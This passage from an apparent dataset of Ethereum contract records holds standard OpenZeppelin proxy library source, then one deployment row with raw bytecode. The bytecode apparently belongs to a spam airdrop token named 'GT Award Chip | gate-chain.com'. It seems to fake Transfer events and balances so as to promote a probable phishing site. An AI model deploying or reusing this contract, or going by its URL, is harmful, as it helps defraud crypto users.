* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
// import "../beacon/IBeacon.sol";
// import "../../interfaces/draft-IERC1822.sol";
// import "../../utils/Address.sol";
// import "../../utils/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overridden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
*
* Furthermore, `isContract` will also return true if the target contract within
* the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
* which only has an effect at the end of a transaction.
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```solidity
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._
* _Available since v4.9 for `string`, `bytes`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
struct StringSlot {
string value;
}
struct BytesSlot {
bytes value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` with member `value` located at `slot`.
*/
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` representation of the string storage pointer `store`.
*/
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
/**
* @dev Returns an `BytesSlot` with member `value` located at `slot`.
*/
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
*/
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/beacon/BeaconProxy.sol)
pragma solidity ^0.8.0;
// import "./IBeacon.sol";
// import "../Proxy.sol";
// import "../ERC1967/ERC1967Upgrade.sol";
/**
* @dev This contract implements a proxy that gets the implementation address for each call from an {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) payable {
_upgradeBeaconToAndCall(beacon, data, false);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address) {
return _getBeacon();
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_getBeacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
_upgradeBeaconToAndCall(beacon, data, false);
}
} |
1 | 19,493,918 | 4b248f35858e5e921e46a7e4299ba7380f8646363ba625ac98dbc760fdacc7bb | 2d9593ccd8ee811c890b66354a0fcf1432aeb40a314d24796c9ae7f31a72aed4 | 9a27151afd80abddef562f49de0b4e3a6cdad16d | 9a27151afd80abddef562f49de0b4e3a6cdad16d | a00cef76fa988a26ddaa327b5503e164c42ee654 | 60806040525f60025573e66747a101bff2dba3697199dcce5b743b45475960035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80634dd2d66e116100645780634dd2d66e146100f95780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e9190610818565b610254565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b806002819055505f5b825181101561031357828181518110610279576102786108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102fe91906105f6565b60405180910390a3808060010191505061025d565b505050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea2646970667358221220c4cc133c792f8aea61d4fbb6c0b1a661cd9a4bb15c5cdaceb100e4412963bb0064736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000020242047542041776172642043686970207c20676174652d636861696e2e636f6d000000000000000000000000000000000000000000000000000000000000001e47542041776172642043686970207c20676174652d636861696e2e636f6d0000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80634dd2d66e116100645780634dd2d66e146100f95780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e9190610818565b610254565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b806002819055505f5b825181101561031357828181518110610279576102786108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102fe91906105f6565b60405180910390a3808060010191505061025d565b505050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e